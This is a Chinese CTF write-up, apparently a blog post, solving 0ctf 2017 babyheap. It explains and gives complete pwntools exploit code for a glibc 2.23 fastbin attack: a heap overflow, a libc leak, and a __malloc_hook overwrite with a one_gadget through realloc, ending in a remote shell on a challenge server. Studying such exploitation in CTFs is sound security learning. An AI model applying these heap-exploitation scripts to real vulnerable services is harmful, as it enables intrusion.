0ctf_2017_babyheap--fastbin_attack

D0wnBe@t Lv4

0ctf_2017_babyheap

题目链接

libc.so文件链接

知识点:

题目速览:

  • 典型的堆菜单题目,但是没有后门函数,system函数也没有

  • add:

  • edit:

  • delete:

  • show:

思路分析:

  • 漏洞点在edit函数,未对size检查,可以实现任意地址写
  • 题目开启了PIE,unlink直接out,由got表不可改,所以想到改__malloc_hook为onegadget
  • 先通过unsortedbin泄露main_arena,即可以得到malloc_hook(相差0x10), arbitrary_alloc错位构造fake_chunk,就可以修改malloc_hook为one_gadget
  • 但是运用arbitrary_alloc需要uaf修改fastbin中chunk的fd指针,因此需要我们两个地址控制同一个chunk,看下面调试吧。

gdb调试:

1.

1
2
3
4
5
6
7
8
9
10
# glibc2.24,泄漏libc,修改__malloc_hook为onegadget
add(0x10) # 0x00 0
add(0x10) # 0x20 1
add(0x10) # 0x40 2
add(0x10) # 0x60 3
add(0x80) # 0x80 4

free(2)
free(1)
# fastbins 1->2
  • 构造五个chunk,chunk0用来溢出chunk1,chunk1,2用于uaf,chunk4用来泄露libc,chunk3溢出修改chunk4
  • 查看堆布局,看看如何使得两个地址共同控制一个chunk:

  • 由于内存的分页管理机制以及PIE,我们第一次分配堆地址的最后三位十六进制数肯定为000
  • 此时我们溢出chunk0修改chunk1的fd指针,也就相当于修改chunk2的地址,此时我们需要利用chunk4,如果将1->fd所指向的chunk2的地址最后一字节修改为0x80,也就是1->fd = chunk4。
  • 同时由于add中会循环检查哪个指针=0就将malloc的地址给到该指针,而chunk2的指针在free的时候被清零了,第二次malloc将chunk4给到了chunk2,因此chunk2会和chunk4联系起来,即修改chunk2也会修改chunk4也就做到了uaf的利用
1
2
payload = cyclic(0x10) + p64(0) + p64(0x21) + p8(0x80)
edit(0,len(payload),payload) # 1_fd->4

2.

  • 虽然已经将1->fd -> 4 ,4和2联系起来了,但是此时的chunk4放在fastbin中肯定是不合适的,因为size不同,在分配chunk的时候size不同是会报错的,所以我们要修改chunk4的size,和chunk1保持一致(在同一个bin中)
  • 然后将1,2都回收回来,注意虽然1->fd修改为了chunk4,但是add的函数中for循环从小到大,只要满足”标志位”是0就分配,而chunk2的标志位free之后始终为0。
  • 然后将chunk4的size修改回来,free(4),4的fd和bk指针将指向main_arena+0x58,show(2)就将输出这个特殊地址,因为chunk2和chunk4都是指向chunk4的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload = cyclic(0x10) + p64(0) + p64(0x21) 
fill(3,payload) # 绕过fastbin检查

add(0x10) # 1
add(0x10) # 2 因为2的指针=0

payload = cyclic(0x10) + p64(0) + p64(0x91)
edit(3,len(payload),payload)

add(0x80) # 5 防止和topchunk合并
free(4)
show(2)

malloc_hook = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x58-0x10
# __malloc_hook和main_arena差了0x10
success("malloc_hook:" + hex(malloc_hook))

3.

  • Arbitrary Alloc 构造fake_chunk

技巧可以看开头的文章,这里直接演示。

  • 为了修改malloc_hook为one_gadget,我们要往malloc_hook上面构造fake_chunk,然后直接修改堆中内容即可,来看看malloc_hook上面又没有地方构造吧:

  • 我们发现这个地方可以错位出一个size出来,对应于fastbin[5](不是很懂可以看开头文章),这个错位出来的chunk的size是0x60(fastbin[5]对应的size就是0x60),为了使fastbin中已经存在的chunk->fd链接上fake_chunk,其size也应该是0x60
  • 该chunk的地址可以从图上看出:malloc_hook-0x13-0x8(size)-0x8(prev_size)
1
2
3
4
5
6
7
8
9
10
11
libc = ELF("/mnt/hgfs/ctfpwn/exp/libc/libc6_2.23-0ubuntu11.2_amd64.so")
base = malloc_hook - libc.sym['__malloc_hook']
onegadget = base + 0x4526a

add(0x60)
free(4) # 构造一个位于fastbin的chunk
fake_chunk = malloc_hook - 0x23
payload = p64(fake_chunk)
edit(2,len(payload),payload) # 修改chunk2=修改chunk4
add(0x60) # 4
add(0x60) # 6 -> fake_chunk
  • 下图可以发现修改chunk2其实也修改了chunk4

4.

  • 然后就很简单了,修改malloc_hook->one_gadget,再次malloc即可。
1
2
3
4
5
payload = cyclic(0x13) + p64(onegadget) # 从上图看偏移即可
edit(6,len(payload),payload)
#bug()
add(0x10)
p.interactive()
  • 补充:要是用的buuctf给的libc-2.23.so的话,即使试便所有的onegadget也是不可以打通的,因为栈上的数据不满足,但是我们可以改__realloc_hook为onegadget,然后修改malloc_hook为realloc+n(n要自己试)
  • 因为这个realloc附近存在大量的gadget可以调整栈结构,下面是脚本(与上面不同,这是后面重新写的):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.23.so"
#libc = '/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'

#p = process(file)
elf = ELF(file)
libc = ELF(libc)
p = remote("node5.buuoj.cn",25292)

def choice(idx):
sla("Command: ",str(idx))

def add(size):
choice(1)
sla("Size: ",str(size))

def fill(idx,content='a'):
choice(2)
sla("dex: ",str(idx))
sla("Size: ",str(len(content)))
sla("Content: ",content)

def free(idx):
choice(3)
sla("dex: ",str(idx))

def show(idx):
choice(4)
sla("dex: ",str(idx))
ru("Content: \n")

one = [0x45216,0x4526a,0xf02a4,0xf1147]
# overlapping
add(0x10) # 0
add(0x10) # 1
add(0x10) # 2
add(0x10) # 3
add(0x80) # 4
free(2)
free(1)


payload = cyclic(0x10) + p64(0) + p64(0x21) + p8(0x80)
fill(0,payload) # 使得chunk4进入fastbin中

payload = cyclic(0x10) + p64(0) + p64(0x21)
fill(3,payload) # 绕过检查

add(0x10) # 1
add(0x10) # 4-2 因为free将2号chunk的指针记为0,但此时fastbin中的是chunk4,就将
# chunk4给了2号,所以此时2号和4号都指向4号chunk

# 修改chunk4_size,leak libc
payload = cyclic(0x10) + p64(0) + p64(0x91)
fill(3,payload)

add(0x10) # 5 防止和top chunk合并
free(4)
show(2)
#bug()
main_arena = u64(p.recvn(6)+b'\x00\x00') - 0x10
lg("main_arena: ",main_arena)
malloc_hook = main_arena - 0x58
libc.address = malloc_hook - libc.sym['__malloc_hook'] # 0x736c49fc4b10
realloc = libc.sym['realloc']

add(0x60)
free(4) # 进入fastbin

fake_chunk = malloc_hook - 0x23 # Arbitary alloc
fill(2,p64(fake_chunk)) # fastbin链接fake chunk

add(0x60) #4
#bug()
add(0x60) #6 fake_chunk
onegadget = libc.address + one[1]
payload = cyclic(0xb)+p64(onegadget) + p64(realloc+10)
fill(6,payload)

add(0x10)

p.interactive()

注意:

  • 之前有几次出现了“timeout: the monitored command dumped core”

  • 可以看看这篇文章

  • 其实还有一种情况(我也不知道算不算),我修改了libc.so文件就过了

  • 标题: 0ctf_2017_babyheap--fastbin_attack
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-03 13:42:37
  • 更新于 : 2024-11-07 22:42:21
  • 链接: http://downbeat.top/2024/09/03/0ctf-2017-babyheap-fastbin-attack/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论